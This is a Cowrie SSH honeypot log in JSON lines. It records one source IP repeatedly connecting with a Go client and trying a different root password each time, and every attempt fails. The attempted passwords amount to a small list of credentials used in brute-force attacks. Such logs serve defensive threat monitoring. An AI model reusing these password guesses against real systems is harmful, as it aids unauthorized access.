{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:58.698251Z","src_ip":"60.165.124.241","session":"c786d931a188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"all4one","message":"login attempt [root/all4one] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:59.420075Z","src_ip":"60.165.124.241","session":"c786d931a188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:00.665273Z","src_ip":"60.165.124.241","session":"c786d931a188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52302,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bdfa56b64cd","protocol":"ssh","message":"New connection: 60.165.124.241:52302 (10.17.0.5:22) [session: 6bdfa56b64cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:00.925030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:00.929759Z","src_ip":"60.165.124.241","session":"6bdfa56b64cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:01.182562Z","src_ip":"60.165.124.241","session":"6bdfa56b64cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123..","message":"login attempt [root/Abc@123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:01.944929Z","src_ip":"60.165.124.241","session":"6bdfa56b64cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:03.201339Z","src_ip":"60.165.124.241","session":"6bdfa56b64cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55110,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fea69dfd466","protocol":"ssh","message":"New connection: 60.165.124.241:55110 (10.17.0.5:22) [session: 1fea69dfd466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:03.448697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:03.455213Z","src_ip":"60.165.124.241","session":"1fea69dfd466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:03.714562Z","src_ip":"60.165.124.241","session":"1fea69dfd466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123qwe","message":"login attempt [root/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:04.487691Z","src_ip":"60.165.124.241","session":"1fea69dfd466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:05.741663Z","src_ip":"60.165.124.241","session":"1fea69dfd466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a7e39774b5","protocol":"ssh","message":"New connection: 60.165.124.241:58136 (10.17.0.5:22) [session: b9a7e39774b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:06.007309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:06.012812Z","src_ip":"60.165.124.241","session":"b9a7e39774b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:06.279698Z","src_ip":"60.165.124.241","session":"b9a7e39774b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123456@","message":"login attempt [root/Mm123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:07.083285Z","src_ip":"60.165.124.241","session":"b9a7e39774b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:08.347661Z","src_ip":"60.165.124.241","session":"b9a7e39774b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33206,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab117e79e18","protocol":"ssh","message":"New connection: 60.165.124.241:33206 (10.17.0.5:22) [session: 6ab117e79e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:08.593951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:08.598744Z","src_ip":"60.165.124.241","session":"6ab117e79e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:08.855243Z","src_ip":"60.165.124.241","session":"6ab117e79e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jovision123$","message":"login attempt [root/jovision123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:09.615031Z","src_ip":"60.165.124.241","session":"6ab117e79e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:10.871398Z","src_ip":"60.165.124.241","session":"6ab117e79e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36012,"dst_ip":"10.17.0.5","dst_port":22,"session":"69f669649897","protocol":"ssh","message":"New connection: 60.165.124.241:36012 (10.17.0.5:22) [session: 69f669649897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:11.094993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:11.102235Z","src_ip":"60.165.124.241","session":"69f669649897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:11.345077Z","src_ip":"60.165.124.241","session":"69f669649897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zk123456","message":"login attempt [root/Zk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:12.082852Z","src_ip":"60.165.124.241","session":"69f669649897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:13.329622Z","src_ip":"60.165.124.241","session":"69f669649897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39164,"dst_ip":"10.17.0.5","dst_port":22,"session":"db0e39997c41","protocol":"ssh","message":"New connection: 60.165.124.241:39164 (10.17.0.5:22) [session: db0e39997c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:13.567111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:13.571154Z","src_ip":"60.165.124.241","session":"db0e39997c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:13.820980Z","src_ip":"60.165.124.241","session":"db0e39997c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfghjkl123","message":"login attempt [root/Asdfghjkl123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:14.550302Z","src_ip":"60.165.124.241","session":"db0e39997c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:15.794515Z","src_ip":"60.165.124.241","session":"db0e39997c41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41950,"dst_ip":"10.17.0.5","dst_port":22,"session":"44022f8102fc","protocol":"ssh","message":"New connection: 60.165.124.241:41950 (10.17.0.5:22) [session: 44022f8102fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:16.075066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:16.082327Z","src_ip":"60.165.124.241","session":"44022f8102fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:16.345872Z","src_ip":"60.165.124.241","session":"44022f8102fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@2wsx","message":"login attempt [root/1qaz@2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:17.143164Z","src_ip":"60.165.124.241","session":"44022f8102fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:18.413382Z","src_ip":"60.165.124.241","session":"44022f8102fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45006,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3a1d65d8d5c","protocol":"ssh","message":"New connection: 60.165.124.241:45006 (10.17.0.5:22) [session: b3a1d65d8d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:18.674225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:18.679240Z","src_ip":"60.165.124.241","session":"b3a1d65d8d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:18.949233Z","src_ip":"60.165.124.241","session":"b3a1d65d8d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin-12345","message":"login attempt [root/Admin-12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:19.722719Z","src_ip":"60.165.124.241","session":"b3a1d65d8d5c","protocol":"ssh"}
